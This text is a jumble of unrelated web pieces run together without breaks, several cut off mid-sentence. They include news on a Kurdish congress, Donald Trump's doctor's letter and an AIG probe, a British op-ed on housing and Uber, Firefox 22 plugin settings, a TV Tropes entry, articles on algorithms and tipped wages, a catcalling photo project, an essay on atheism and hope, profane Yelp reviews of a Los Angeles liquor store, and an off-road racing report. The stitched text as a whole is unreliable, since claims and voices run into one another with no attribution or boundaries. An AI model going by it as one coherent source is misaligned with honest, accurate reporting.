some participants said it could be held as early as next month. “Our main goal in holding this congress is for all Kurdish political factions to reach a shared strategy and voice,” Iraqi Kurdish leader Masoud Barzani said in a speech, describing the meeting in Arbil as “historic”. “I call on all participants to work together in a spirit of brotherliness and patriotism, far from any narrow political ideologies.” Successive governments in Baghdad, Damascus, Tehran and Ankara have long exploited disunity among the Kurds to thwart their aspirations for more independence or a unified homeland, and at times resorted to brute force to suppress them. Thousands were gassed to death by the Iraqi dictator Saddam Hussein. Ramzy Mardini of Beirut’s Iraq Institute for Strategic Studies said divisions still posed a challenge: “Competition amongst the Kurds is leading to contradictory policies, which inhibit their ability to position themselves as winners of the Arab Spring.” Nonetheless, ethnic Kurds who fought out their partisan rivalries in the 1990s now run their own quasi-state in northern Iraq, and are enjoying unprecedented prosperity while sectarian violence threatens to rip the rest of the country apart. In Syria, civil war has provided an opening for greater autonomy for the Kurds after years of oppression under President Bashar al-Assad and his father before him, who denied thousands citizenship and confiscated their lands. In Turkey, the Kurdistan Workers’ Party (PKK) is currently in talks to end a three-decade armed rebellion in return for greater rights for the Kurds, who make up around one fifth of Turkey’s population. Only in Iran have Kurds’ fortunes remained little changed. “There is no doubt that the Kurds see the historical upheavals plaguing the region through the lens of opportunism,” Mardini said. “It is by way of an unraveling of the political order that national borders could eventually be redrawn. The Kurds are trying to best position themselves for that moment.”Image copyright Reuters Image caption Donald Trump's doctor claimed the candidate would be "healthiest individual ever elected" Donald Trump's doctor has said he spent just five minutes on a letter endorsing the Republican candidate's health, while Mr Trump's car waited outside. "In the rush I think some of those words didn't come out exactly the way they were meant," Dr Harold Bornstein told NBC News. Dr Bornstein's letter said Mr Trump, 70, would be the "healthiest individual ever elected to the presidency". He said he "picked up" the candidate's own "kind of language" when writing it. Two weeks before the note was written, Mr Trump tweeted to say he had "instructed my long-time doctor to issue, within two weeks, a full medical report", adding that it would "show perfection". Mr Trump later highlighted the endorsement from Dr Bornstein, who faced questions about its exaggerated tone. Image copyright Facebook The doctor, of New York's Lenox Hill Hospital, says he may have overstated the case "so that they [the Trump campaign] would be happy". "I think I picked up his kind of language and then I just interpreted it to my own," he said. Mr Trump would be the oldest person to be elected US president, were he to win in November. Mrs Clinton is 68. The health of two candidates has become a focal point in the campaign, with Mr Trump repeatedly alleging that his Democratic rival Hillary Clinton is physically unfit. Mrs Clinton has hit back at what she says are unfounded allegations, and Mr Trump has faced criticism over the personal nature of the attacks. Neither candidate has divulged their full medical record. Mrs Clinton released a statement from her doctor, Lisa Bardack, last year. Dr Bardack said: "She is excellent physical condition and fit to serve as President of the United States."These past two weeks have been a grim time for economists.From Transport for London’s decision to revoke Uber’s licence, to Jeremy Corbyn’s call for rent controls, culminating in Theresa May’s commitment to pump more money into the Help to Buy scheme, policymaking shows a continual disregard for basic economic principles.Take housing. Britain has seen sharply rising house prices in recent decades, and now has among the highest prices per square metre worldwide. Demand has risen primarily due to higher incomes and population growth, but building has simply not kept pace.The UK’s housing supply curve is very inelastic – the provision of new homes seems unresponsive to changes in demand.This screams that we have a supply-side problem: our planning laws produce blockages and restrictions, resulting in incredibly small homes by international standards and houses not being built where they are wanted.The solution seems obvious: a sea-change liberalisation in planning and density regulations so more houses are built, and new frameworks which relieve the tensions from the spillover effects of new developments.So what do our wise leaders do?The Prime Minister has chosen instead to increase demand-side subsidies by £10bn by expanding the Help to Buy scheme. Those lucky enough to participate will find houses more affordable, and overall building will rise a tad. But the main effect will simply be to lift prices further, to the benefit of existing property holders and the detriment of everyone else. In other words, exacerbating the existing problem.Are Corbyn’s solutions any better? The Labour leader talks about supply, though inevitably thinks the answer is a new generation of council houses. But again he misses the key problem. If the government faces the same planning laws and local opposition to new developments as everyone else, chucking public money will do little good.His solution would only work if councils could circumvent the rules and ride roughshod over opposition to ensure council houses get built. But if they have that power, why not change the rules for all tenure types?Corbyn’s belief in the need for rent controls for private rented accommodation is further economic illiteracy.The results through history have been clear, from Stockholm to Israel, San Francisco to Britain: holding rents below market rates means less rentable accommodation available in total, a decline in the quality of accommodation (and hence further regulation imposed to counteract it), and cronyism and corruption in the allocation of scarce properties.That’s why 95 per cent of an IGM Chicago economists’ survey panel oppose rent controls – a rare consensus for economists. More benign short term “rent regulation” schemes can be dreamt up, of course, but these do nothing to solve to constrain the general upward trend in rent caused by restricted supply.Bad economics is not confined to housing policy. As if Londoners’ cost of living problems were not challenging enough, mayor of London Sadiq Khan’s decision to revoke Uber’s licence will reduce choice and increase prices for consumers moving around the city.Whatever one thinks of Uber’s compliance with Transport for London’s regulations, economists from the same IGM Survey overwhelmingly believe that ride sharing apps raise consumer welfare (98 per cent to two per cent agree to disagree), and that existing taxi regulations in major European cities work against the consumer interest (85 per cent to zero per cent, with 15 per cent uncertain).The failure to consider the impact of the ban for customers demonstrates, yet again, a decision taken without economic analysis.Why do politicians ignore basic economics like this? One might just suspect ignorance, but in the case of housing, the underlying problems are so widely acknowledged they are impossible to ignore.This raises more unedifying prospects: either appeasing electoral interest groups plays a much bigger role in decision making than “doing the right thing”, or our current leaders are susceptible to cranks with bad ideas.Maybe May favours demand rather than supply-side housing solutions because lots of current Conservative voters and MPs oppose green belt reform and own their own homes already, and so benefit from high prices.Maybe Corbyn favours council house building because he wants a new generation of voters who owe fealty to government.Maybe Khan was sanguine about revoking Uber’s ban because the left-wing unions dislike Uber’s business model and because Transport for London is beholden to the interests of the black cab trade.In politics, one should always be careful about attributing motive. But absent coherent economic explanations for their decisions, we are merely left to speculate as to what exactly our leaders are thinking.This article was first published in City AMI have been using Firefox as my main browser for a long time. Currently, I'm running a stable version of Firefox next to a Nightly build, and switch between both builds regularly. It has happened in the past that plugins that I had disabled in the browser re-enabled themselves automatically after updates, often when I switched between both browser versions on the system. I could never really figure out why this happened, only that it was annoying and a security issue as plugins were suddenly enabled again that I had disabled previously. This is all changing with the release of Firefox 22 as Mozilla has made a major change to how the browser stores plugin information. Mozilla has tackled several issues in this new version including the following: Disabled plugins do not get activated automatically anymore. Click to Play preferences for each plugin are remembered. Mozilla is not storing plugin information in the pluginreg.dat file anymore starting in Firefox 22. Instead, the state of each plugin is saved in the advanced configuration (about:config) of the browser. Type about:config into the browser's address bar and hit the enter key. Confirm you will be careful. Search for plugin.state and hit enter. A value of 0 indicates that a plugin is disabled, a value of 1 that click to play is activated, and a value of 2 that it is enabled in the browser. Note that changes that you make here are only visible after a browser restart. Mozilla switched from storing the information per file name to storing them per mimetype instead which resolves many of the issues that users experienced in the past in regards to plugins. Plugins may change file names during updates, for instance to increase the version number of the plugin. When that happened, they were recognized as new plugins by Firefox. The change in Firefox 22 ignores the file name and uses the mimetype instead so that a plugin is recognized as the "same" even if its file name changes. This makes sure that custom click to play preferences and the plugins state in the browser are left untouched when this happens. Changes to plugins in Firefox does not change here though. You may know that you can display the list of installed plugins in Firefox by loading about:plugins in the browser's address bar. Firefox did not display the full plugin path on the system by default which you had to enable first by setting plugin.expose_full_path to true. Mozilla is now displaying the full path right away on the page so that the preference is no longer needed. It will be removed from the browser in version 24. AdvertisementThe logo of American International Group Inc. (AIG) on the outside of their corporate headquarters in New York, November 10, 2008. REUTERS/Mike Segar NEW YORK (Reuters) - Former American International Group Inc executive Joseph Cassano is under investigation by U.S. prosecutors for possibly misleading auditors and investors about subprime mortgage-related losses, according to a Bloomberg report citing people familiar with the probe. The report said investigators are asking auditors at PricewaterhouseCoopers about memos they wrote last fall on how Cassano and other AIG executives valued contracts protecting $62 billion in mortgage-backed securities. The U.S. government is also investigating AIG’s reliance on valuations that have been questioned by auditors and banks, according to the report. Cassano previously led AIG Financial Products, the source of billions of dollars of losses which led to the insurance company needing to be rescued by the U.S. government in a $85 billion deal in September. In October, U.S. lawmakers criticized AIG for giving Cassano a $1 million-a-month consulting contract after he retired in March. An AIG spokesman was not immediately available for comment.http://tvtropes.org/pmwiki/pmwiki.php/Main/BrotherhoodOfFunnyHats Who illustrates this trope the best? We do! — Flavor text for the "Fraternal Orders" card, from the Collectible Card Game Illuminati: New World Order "You think they look funny, what with their silly hats and their little carts. If you knew what those hats actually stood for, you'd never laugh at anything, ever again..." Advertisement: In the media, fraternal orders and secret societies tend to go one of two ways: they're either a front for a sinister and fearful Ancient Conspiracy, or they're... the Brotherhood of Funny Hats. These guys are more interested in living it up and "having some fun with the guys." (Er, platonically.) They go to lodge meetings (wearing funny hats, of course), throw wild parties (which may or may not conflict with the schedules of the protagonists and necessitate a Two-Timer Date, if they're members), memorize the new secret handshakes, and put new members through convoluted, embarrassing, and/or painful hazing rituals. If they pull any strings, they do it for members of the brotherhood because hey, they're just those kinds of guys. It's not all fun and games, though. Sometimes there's a fierce pecking order in place, with more ambitious (and less scrupulous) members trying to claw their way to the top. And on rare occasions, the image of drunken, loveable middle-aged men is just an act, and they really are a front for an Ancient Conspiracy. Advertisement: Hats are not actually mandatory, but—when present—can generally be relied on to be silly. For whatever reason, fiction requires that innocuous Brotherhoods like this are exclusively male. Mixed-gender groups or all-female sororities always have an ulterior motive. While this is by no means a Dead Horse Trope there is apparently something a little retro to it, and such societies seem to appear more frequently in works set in The '50s (such as American Graffiti or Peggy Sue Got Married) than in works set in the present. See also Gang of Hats. Advertisement: Examples open/close all folders Comic Books The Knights of the Golden Light in Strangehaven Comic Strips In My Cage office dope Jeff is a member of the "Hammerhead Lodge", in one strip Norm tells him he pictures them sitting around wearing Viking hats and drinking beer at their meetings. Jeff laughs at the insinuation, while thinking must kill Norm, he knows too much. The Bloom County Moose Lodge featured in exactly one strip, commenting disapprovingly on the Rolling Stones' proclivity to "wear weird clothes," "make strange noises," "and act loony." They then signaled their agreement to "condemn the whole nasty situation" by making the Secret Moose Mating Call. BLOOP! BLOOP! BLOOP! Films — Animated The Boxtrolls: The Cheese Guild, who rule Cheesebridge like a fiefdom and hold tastings of the finest cheeses. They're known for their tall white hats. Snatcher and his men wear equally silly-looking red hats. Gamma Mu Mu (the rival frat house/skater team) in An Extremely Goofy Movie was depicted as one of these briefly in a montage. Predictably, Goofy's role as a candle bearer does not go over so well. Films — Live-Action Laurel and Hardy were members of the titular order in their movie Sons of the Desert. It was such a success that their fan club Appreciation Society took the same name. In a short with a similar theme, they belonged to a lodge who wore British style "Hunting Pink" and sang A Hunting We Will Go at the start of each meeting. Interesting to note that Oliver Hardy was a Freemason in Real Life. Appreciation Society took the same name. The fraternal order to which Peggy Sue's grandfather belongs in Peggy Sue Got Married. "Girl's gone — let's play cards!" Literature In The Disreputable History of Frankie Landau Banks by E. Lockhart, the Loyal Order of the Basset Hounds is pretty much a drinking society with some elaborate, silly rituals (some of which turn out to be meaningful) that occasionally pulls lame pranks... until Frankie takes charge. Then the pranks become epic and politically charged. Terry Pratchett's Going Postal features a sequence where the protagonist is initiated into the postmen's secret society, which involves an ominous-sounding and rather painful hazing ritual known as "The Postman's Walk". It's mentioned he's previously joined several Brotherhoods of Funny Hats with names like The Men of the Furrow, as a prelude to defrauding the other members. As mentioned in Lords and Ladies, Lancre, centre of all rural folklore, has a Brotherhood of Funny Hats so ancient and secret it doesn't even have a name. According to The Discworld Companion their regular meetings at an earthworks called The Long Man may be an ancient rite, or simply represent man's ancient desire to get out of the house and have a couple of pints. And Ankh-Morpork, as shown in Guards! Guards!, has many secret societies, most of whose members would like to be part of an Ancient Conspiracy, but are really just in it for the mysterious robes. And in one case, in the society that is important to the plot and winds up being incinerated by the dragon it summoned, to chant "mystic prunes". And this pretty much describes how the Unseen Univserity was run before Archchancellor Ridicully came into the picture, a bunch of wizards who were only concerned with eating, sleeping, wearing the clothes that pointed out that they were wizards... Oh, and moving higher in the University by making an opening with the "removal" of senior wizards. Pierre Bezukhov joins the Freemasons in War and Peace at the insistence of one of his mentors, to find some guys are actually into it and other guys...not so much. He gets in a huff later when Boris joins the Freemasons purely to advance his social standing. In Teresa Edgerton's Goblin Moon, the Glassblowers guild has an offshoot of scholars and wearers of goofy ceremonial robes, paralleling what the Real Life Freemasons
” service, which allows customers to change where and when packages should arrive on the fly. In other words, the UPS “solution” to this tangled problem is not a static thing at all but a living process, a structure of code, people, data, assumptions, labor laws, traffic tickets, and all sorts of other stuff crammed together. So ORION as implemented is a much more complicated beast than its intellectual roots in the traveling salesman problem. That gap between imagination and reality can be quite dangerous, like the Repricer Express software that dropped prices on thousands of items on Amazon to a penny, nearly bankrupting a number of small businesses. And those are just the scandals—algorithms are constantly nudging and shifting our choices, sometimes by design but often by accident. And the illusion of computational perfection creates blind spots that can be very dangerous when the algorithm in question is vetting job candidates or awarding loans. In these cases we want the fair, objective, imaginary algorithm to make the world a better place, but the judgment machines encode all sorts of assumptions and biases into the real thing, the tangle of code and data hidden away inside the black box. The gap matters because many of the most powerful corporations in existence today are essentially cultural wrappers for complex algorithms. Google started with PageRank and found its forest of money trees with Adwords and AdSense. Amazon’s transformational algorithm involved not just computation but logistics, finding ways to outsource, outmaneuver, and outsell traditional booksellers (and later sellers of almost every kind of consumer product). Facebook developed the world’s most successful social algorithm for putting people in contact with one another. These black boxes are heavily fortified and constantly tweaked, but the sales pitch is all about the magic of computational perfection. It all works great until it doesn’t, like Amazon removing thousands of LGBTQ books from its sales rankings in 2009, or Google photo software tagging black people as gorillas. These are serious problems, but they are symptoms that can usually be treated by stuffing a few more exceptions and workarounds into the black box in question. The root causes are much harder to trace—the subtle errors, the shifts of meaning and context that take place under the cover of computational magic. The search results that never appear, the products that are choked off from sale, the things that algorithms don’t know and that we easily forget. China has launched a new citizenship score initiative that combines elements of a credit score with consumer monitoring to create a politically slanted “trustworthiness” index. And yes, it’s a “complex algorithm” at work behind the scenes. Imagine the challenge of fixing a credit reporting error in the U.S.—already nightmarish—and then also having to argue that playing a lot of video games doesn’t make you a bad person and that you haven’t been engaging in “trust-breaking acts.” From the perspective of companies and, increasingly, governments, the best thing about the imaginary algorithm is there’s nothing there to argue against. This piece is excerpted from a book in progress under contract with MIT Press This article is part of the algorithm installment of Futurography, a series in which Future Tense introduces readers to the technologies that will define tomorrow. Each month from January through June 2016, we’ll choose a new technology and break it down. Read more from Futurography on algorithms: Future Tense is a collaboration among Arizona State University, New America, and Slate. To get the latest from Futurography in your inbox, sign up for the weekly Future Tense newsletter.Looking for news you can trust? Subscribe to our free newsletters. Fresh out of college and working as an unpaid intern for a San Francisco nonprofit, I paid the bills by moonlighting at an Indian restaurant in the Pacific Heights neighborhood. My hostess job entailed long stretches of boredom punctuated by a cacophonous frenzy. There were icy glares from impatient diners and reprimands from managers for drifting from my podium, but compared with most restaurant workers, I was sitting pretty: My hourly rate exceeded California’s minimum wage, I was tipped out by the servers at the end of each shift, and I even received health care benefits—a city mandate. Very few of America’s 11 million restaurant workers share my story. The federal minimum wage is a paltry $7.25 an hour, but in 18 states servers, bussers, and hosts are paid just $2.13—less than the price of a Big Mac. This is known as the federal “tipped minimum wage” because, in theory, these food workers will make up the difference in tips. Twenty-five states and DC have their own slightly higher tipped minimums. The remaining seven, including California, guarantee the full state minimum wage to all workers. Some of the wages shown in the above map are only for large employers. On the surface, tipping seems little more than a reward for astute recommendations and polite, speedy service. But the practice has unsavory roots, as Saru Jayaraman, a labor activist and author of Forked: A New Standard for American Dining, told me during a taping of Bite, the new food and politics podcast from Mother Jones. The origin of the word is unclear—one theory says “tip” is shorthand for “to insure promptness”; another suggests it’s from 17th-century thief slang meaning “to give.” In any case, European aristocrats popularized the habit of slipping gratuities to their hosts’ servants, and by the mid-1800s rich Americans, hoping to flaunt their European sophistication, had brought the practice home. Restaurants and rail operators, notably Pullman, embraced tipping primarily, Jayaraman says, because it enabled them to save money by hiring newly freed slaves to work for tips alone. Plenty of Americans frowned upon the practice, and a union-led movement begat bans on tipping in several states. The fervor spread to Europe, too, before fizzling in the United States—by 1926, the state tipping bans had been repealed. America’s first minimum-wage law, passed by Congress in 1938, allowed states to set a lower wage for tipped workers, but it wasn’t until the ’60s that labor advocates persuaded Congress to adopt a federal tipped minimum wage that increased in tandem with the regular minimum wage. In 1996, former Godfather’s Pizza CEO Herman Cain, who was then head of the National Restaurant Association, helped convince a Republican-led Congress to decouple the two wages. The tipped minimum has been stuck at $2.13 ever since. This is why restaurant workers today take home some of the lowest pay offered by any industry. Seven of the 10 worst-paying job categories tracked by the Bureau of Labor Statistics (BLS) are in food services. Real median wages for waiters and waitresses are down 5 percent since 2009; cooks saw a decline of 9 percent. Sure, we occasionally hear about waiters hauling in $80K at posh urban establishments. Those are the stories that corporate players such as Darden, the notoriously stingy owner of the Olive Garden chain, want you to remember. The restaurant association’s website claims the national median take-home pay for tipped servers is $16 to $22 an hour. But those same workers, according to the BLS, made just $9.01 an hour in 2014—poverty wages for a family of four and nowhere near enough to cover rent on the average two-bedroom apartment. (The association says this figure is low because some restaurants report tips improperly.) America’s two-tiered wage system is hardest on women, who make up 71 percent of tipped servers—waitresses are twice as likely to use food stamps as the general population. And while federal law requires employers to make sure their tipped workers earn at least minimum wage after tips, that rarely happens—from 2010 to 2012, according to the Department of Labor, 84 percent of restaurants were in violation of federal wage law, “which means the women who put food on the tables in America can’t actually afford to feed themselves,” Jayaraman says. “The women who put food on the tables in America can’t actually afford to feed themselves,” Jayaraman says. The racist origins of tipping persist, meanwhile, in the take-home wages of nonwhite restaurant workers, who earn 56 percent less than their white colleagues. In one study, researchers at Cornell University and Mississippi College found that customers at an unnamed national chain restaurant—even the black customers—tipped white servers better than black servers. This disparity, the researchers noted, could in theory render the tipped minimum wage unlawful. Jayaraman says she’s not advocating the end of tipping, just that it take on a different form. Several celebrated restaurants, including Alice Waters’ Chez Panisse and Danny Meyer’s The Modern, have largely replaced tipping with higher menu prices or mandatory service charges. San Francisco’s Bar Agricole tried it, too, but reverted to tipping after servers complained they were making less money. At least they’re working in California, where they’ll never take home less than the current $10-an-hour minimum wage, even if every last table stiffs them.Members of the cycling community, through Bike Regina, are expressing disappointment with the city's proposed 2016 budget, noting that expected spending appears to have been dropped. "We were extremely disappointed to observe cuts to previously planned cycling infrastructure," Sara Maria Daubisse, president of Bike Regina, said in a presentation to members of city council. Daubisse, and Bike Regina vice-president Jon Pradinuk, are among several delegations scheduled to address council Monday as part of the 2016 budget approval process. Bike Regina's presentation focused on cycling as a mode of transportation. According to the group, a number of projects they thought would be undertaken in 2016 were not mentioned in the proposed budget. They expected to see support for a bikeway study for an area south of the city's downtown core. They also thought 2016 would be the year for an extension of bike lanes on Lorne Street. "The removal of planned cycling projects from the budget and the failure to implement planned improvements identified in the past three budget meetings leads Regina's cyclists to feel that improving the cycling environment in Regina is a negligible priority for this council," the group said. Bike Regina noted that members of city council and the city administration have been open to making improvements to meet the needs of cyclists. As an example, the group applauded plans to consider bike lanes in a study on winter maintenance (although the study will not take place until late 2016).@DearCatcallers LATEST NEWS Documenting catcallers on Instagram makes a powerful point 3 min Scrolling through Noa Jansma’s DearCatcallers account it’s clear that lots of the men featured simply don’t understand the problem with street harassment By Rachael Sigee on 05.10.17 Knowing how to react to a catcaller is a conundrum. Do you ignore it and carry on walking? Do you respond? Do you report them? And if so, where? One Dutch woman decided that she would react by asking the offending man to pose in a selfie with her. And they did. With beaming smiles, thumbs up, waves and even an arm around her shoulders. Noa Jansma is not smiling in the pictures. She looks fed up. As she should be: in a month, she took 24 pictures. But while the men were oblivious to her reasons for snapping them, the 20-year-old student from Amsterdam was uploading them to her Instagram account DearCatcallers with captions of what the men had shouted. They range from the classic: "Hey beautiful, Why are you sad?" ~"I'm not sad" ~"Why don't you smile at me then? You're too sweet to be sad" to unimaginative: “"Babyyyyyyyy! THANKYOU" blowkiss”. With 48.5k followers, the account has hit a nerve. Jansma has explained that she was trying to use the project to reclaim power over her harassers: “By making the selfie, both the objectifier and the object are assembled in one composition. Myself, as the object, standing in front of the catcallers represents the reversed power ratio which is caused by this project.” The men in the photos are a diverse group. They are of different races, different ages and they approach her at different times of day and in different ways. What they have in common is the way they reacted to her request for photos – happy to oblige and with no apparent concerns. It would suggest that they had no particular end goal. Reportedly only one man asked why she wanted a picture. Which does raise the question of how the project might actually impact the perpetrators of street harassment. They don’t care and why would these photos change that? It seems unlikely that, having felt no shame in their actions in real life, they will be particularly concerned to be exposed online. The smiles of Jansma’s subjects would suggest they do not see themselves as threatening. Perhaps they would even be concerned to be viewed in that context There is often a discussion about what men are hoping to achieve when they shout insults, make lewd requests and comment on a woman’s appearance in public. Are they trying to scare her? Or are they hoping it will lead to romance? In the cases Jansma has documented, it seems that shouting at women in public was simply a regular part of the day for these men. Jansma has clarified that there were more instances of harassment that were not documented as she either didn’t have an opportunity to speak to the man, or she did not feel safe to linger and ask for a photo. And some of the photos include worrying details about the men following her, either on foot or in cars. It’s an important point. Now Jansma has completed documenting her month of catcallers, she has posted that she will be handing the account over the other women around the world to continue the project. This will no doubt increase the account’s following and stimulate wider conversation but it will not always be safe for a woman to replicate her actions. Inherent in the threat a woman feels from street harassment, is that she could be in very real danger. The smiles of Jansma’s subjects would suggest they do not see themselves as threatening. Perhaps they would even be concerned to be viewed in that context. And that is why catcalling cannot be excused as harmless flirting. The men photographed in this project might see their actions as complimentary or flattering but they are complicit in the wider construction of a public space that renders women powerless. And that is a scary position to be in. @littlewonderingIt is often said by believers of all faiths that to be without God is to be without a thing called Hope. Hope, defined as the feeling that what is wanted can be had or that events will turn out for the best, is far from foreign to me. I’d even go so far as to say that my life is more filled with hope now than it ever was when I believed in the god of Christianity. When I was a believer my hope was in my salvation, something I believed to have been provided by Christ’s sacrifice on the cross. I had the hope that the things of this world would soon pass away and that there would be an eternity of God’s presence to endure. I had hope in the promise of a relationship with that god and in the idea that he wanted for me to experience his love and compassion despite my own depravity (and in the idea that he desired this same thing for all mankind.). I experienced the hope of an afterlife and hope in miracles while still living. I know the hope that the Christian speaks of, I’ve experienced it, felt it, lived it…in fact I know from personal experience all of the elements that Christians or other religious folks may claim that the godless are not privy to, yet hope is by far one of the most prevalent elements of my life now – without god. I have hope, I have lots of it. I feel that what I have now is far more tangible than what I had prior to my fall from grace. People give me hope daily. Sometimes people take some of my hope away, but when we make progress toward a brighter future it is renewed. When we do good things to one another or fight for causes we deem just, I am overwhelmed by hope. When one of us spends his or her life’s work on developing cures for diseases and cancers it gives me hope that we care about one another, and that if we keep doing so eventually we’ll get to our next step toward a society that can be considered appropriate. I have a hope that one day our species will find a way to cope with the problems of life without a need for religion and that also one day there will be social justice for all people. I have hope that at some point in the near future that technology will be developed that can provide nutritious food for all people and that we will use that technology to actually feed people. In the idea that our prejudices and our failures will one day be forgotten. Out of curiosity I asked my Facebook fans if they as atheists lacked a sense of hope, I wanted to share their answers…anonymously of course: DJ Said:I hope for things all the time. I mean I “hope” the Patriots go to the Superbowl this year. I hope I have fun on vacation. I mean these things aren’t exclusive to theism. I usually get pretty irritated when certain people claim you “can’t” have certain things without a God. HD said:I tend to be cheerfully pessimistic about most things. I hope for the best and prepare for the worst. Never (certainly not in the past 40 years) had a need for a god to be hopeful. CS Said: I have never met a hopeless atheist, but I have met many religious with false hope. They may think they have hope, but the downtrodden look in their eyes and the depression of their very being begs to differ. When deep down you know your hope is meaningless, how could you possibly feel anything but despair? : I have never met a hopeless atheist, but I have met many religious with false hope. They may think they have hope, but the downtrodden look in their eyes and the depression of their very being begs to differ. When deep down you know your hope is meaningless, how could you possibly feel anything but despair? I do hope for all kinds of things though, be it a better economy, progress, more freedom, and so on. TC said:Oh I have hope. I’m optimistic and hopeful every day 🙂 Don’t need a god to do that 🙂 GW said:God is lack of hope. I don’t want to be a tiny part in something else’s plan. I don’t want to be judged on unknown criteria.69 2901 W Sunset Blvd Los Angeles, CA 90026 (323) 666-2744 Came By The Store After Hearing There Are New People That Took Over This Place. They Have An Amazing Staff, Great Selection, And Really Great Deals They have the Modelo michilada beer that I love so much but no cheap little bottle tequila shots. We stop by here before we enter Los Globos club across the street for metal music gigs, the drinks inside the club are way overpriced. Woman at counter is rude. No prices labeled, overcharged for cheap wine. No cash back This place use to be a dump, which must be why it has such a low rating. As an icon in silverlake the name remains and then new owners and staff now make this place awesome. I'd love to see their ratings climb as they seriously deserve it. Renovations were so needed and a lot of work went into fixing what once was. They brightened it up, added coolers, and cleaned the windows!! You can tell there's more pride in the space now. Staff is impressive and the highlight without a doubt. Every liquor store in the area should be trying to poach this guy. Super friendly, but in his own way, always cracking jokes and overall makes going there such a fun experience. All you need to do is open the door and hear his big welcome and you'll know what I'm talking about. The neighborhood just got better! Am I right people? Don't go here. The woman who works here is rude as is the owner/manager. They are unreasonable. I have seen them sell to customers who look too young to buy liquor without bothering to ask for ID. Go somewhere else. Put these people out of business. Do the right thing. I am so sad that the liquor store across the street closed. That place was the best and the guy behind the counter was always so nice. A sharp contrast to Silversun Liquor. The lady behind the counter there was so incredibly rude to me. Also they put a lot of unexplained "tax" on their products.. Forget this place, they have lost my business for good. I go here a lot and have never had a major problem. I'm always extra nice to the guy who works here bc he seems pretty grumpy. I typically only visit the store in the day & early evening--maybe late night is more rough? I really prefer the ppl at the 7/11 down the road, but still occasionally shop here. horrible service! every time i mistakenly go they charge me various amount of debit fees! depending on the day and employee your 6 pack might cost 10-15 dollars. go across the street to paul. hes seriously the sweetest man and the experience there is actually honest and sincere. avoid this place it sucks like the plague I'm so bummed that Paul's liquor (PM market) closed. Just got in an argument with the old guy behind the counter at Silversun because he over charged me for cigarettes. He said that the credit card fee was 75 cents and I told him I'm there every few days and it has always been 50 cents more which equals $8.50. Caught him in the act and he didn't know what to say. Then he goes and charges me $9. WTF?! So pissed. Just an ol grab n go joint. Probably where Silver Sun Pickups got there name, it is Silver Lake... I needed a pick-me-up... I had a quick conversation with the owner. Wise dude. We sent in 3 different races to this liquor store. One white girl, one asian girl, and two black girls. The man behind the counter who we aren't sure his race kicked out the white girl and the asain girl when we were only looking at wine. He made best friends with the black girls. We figured out who he likes. Clearly even our diverse group was not good enough for him. The one star is for the super nice guy behind the counter, but he still couldn't make up for the fact that I was charged $27 for a 12 pack of Stella and a pack of Camel Crushes. $27! No way I'll ever come back here. You should go here just for the experience. When I walked in the owner/manager actually snarled at me. He looked like he hated my guts and wanted to kill me. Strange. I thought I was over reacting but when I walked back to pay there he was snarling again. I stared right back at him and he kept on giving that shitty look. I went up to pay he overcharged me and then added $1.00 for me to use my credit card. I asked him if he was charing me a buck to take my credit card (since there are no signs and he didn't say he was charging me a fee) and he gave me another shitty look and said yes. I told him forget it and he gave me an even shittier look (if that is possible). Like I said, go in here just for the amusement of it all. He is a piece of work. NEVER AGAIN!!!!! I got 3 MOUTHFULS OF SPIT in my face after I paid an absorbent amount for a 6 pack of beer. I came at the wrong time, the clerk decided that everyone who crossed his threshold had to listen to his rhetoric.... Which include him shaming me for saying FUCK, but screamed the very word every single time (I counted 3) as his SPIT in my face. I stood there in utter shock and disbelief. If I would have engaged this person it would have escalated and then who would be in the wrong. I am not one to get physical but I feel like my human RIGHTS were taken away when this grown man SPIT in my face, not once, but THREE times!!!! DO NOT SPEND YOUR MONEY HERE. Wow, if I could give less than one star! I used to come here all the time, and tonight the younger guy behind the counter was absolutely awful. Dude. It's a liquor store... My bar is not high. This was bad enough, I had to say something to the Yelp world, haha. Do not support this business! Support the amazing people over at Circle H Market! They're super sweet. Get Saucey, or go to literally any other liquor store. Yikes. There was a man there tonight behind the register when I arrived at 11:41. It closes at 12. He informed me that it was better if I used the ATM but since i walked 6 blocks to get there by 12 I only had my ID and my VISA. I proceeded to wait more than 20 minutes while this asshole was on the phone - I've worked retail. He closed the credit card batch 20 minutes before the store closed and then he waited on hold with the cc company while saying not a word to me for over 15 mins. I finally piped up and said "what the hell is going on here?!' He told me he was not in customer service and threatened to not sell me the items i had been waiting oh so patiently for... "FUCK CUSTOMER SERVICE" is what he said. Well I say fuck silver lake. Fuck liquor stores that close at 12 and maybe fuck LA. This place sucks. FIRE THAT MAN! HE WAS WORKING TUESDAY NIGHT JUNE 14. PSYCHO After reading all these shocking reviews, I realize that I had a relatively uneventful trip here. I came some little bottles of whiskey to slip in before dinner at Silverlake Ramen with my girl friend. There is a pretty good selection of snacks and alcohol to choose from and also quite a good selection of hard alcohol behind the counter. There were two people at the counter, a younger and older man who look to be Sikh by their turbans, but that's just a guess and not very educated one. They were polite and really quite nice to us. They added in a cute joke about how we didn't need bags because we would just put the alcohol in our bodies and also silently passed us some informational pamphlet about religion -I don't know which one, I threw it away. Now that I think about it maybe their lack of rudeness was because we were two relatively cute and friendly girls but either way I'd rather judge these people on the nice experience I had with them than the unfortunate experiences that other people seem to have had. I was in SilverSun Liquor at about 10 pm on July 22, 2015. The proprietor became quite angry with the woman in line ahead of me (she was being rude). As she left, the proprietor just went off the rails ballistic. screaming: YOU FUCKING AMERICANS! GET OUT OF MY STORE NOW - I WILL KILL YOU - GET OUT! Everyone ran from the store of course. This man was in a terrifying rage. We were all lucky he didn't appear to have a weapon. I have no doubt someone would have hurt or killed, maybe me I spoke to LAPD. There is nothing they can do. But I for one will never again set foot within 50 yards of Silver Sun Liquor. Beware. Think of my star as no stars. The idiot behind the counter is a sexist ah**. He just went off on my friend for simply asking a question and trying to get clarification on some lottery tickets. It's unbelievable that this store hasn't gone out of business. I will never set foot in here again and neither should you!!!A lot can happen between the flashes of the green and checkered flags. Especially in off road racing. The Lucas Oil Off Road Racing Series (LOORRS) is one of the fastest growing off road followings in the country and it isn’t hard to see why. With up close spectator viewing of some of the most extreme off road machines in a fast paced battle over dirt, mud and jumps only one word can truly describe the experience; unpredictable. Off road racing is one of the few niches left where the skill of a driver and crew, and a little luck can outshine the mega teams with seriously large financial backings or a never ending tool box of top of the line equipment. Ultimately, that is what the fans want is unpredictability. Fans want to watch a race and cheer for their favorites because they are the best, but the drivers need to prove it in every lap or risk a quick dethroning or even worse, a crash or rollover. Well the fans got everything they hoped for this past weekend in Reno for rounds five and six of the LOORRS with a stunning win by Kyle Hart (#41 in the Pro Lite division) on 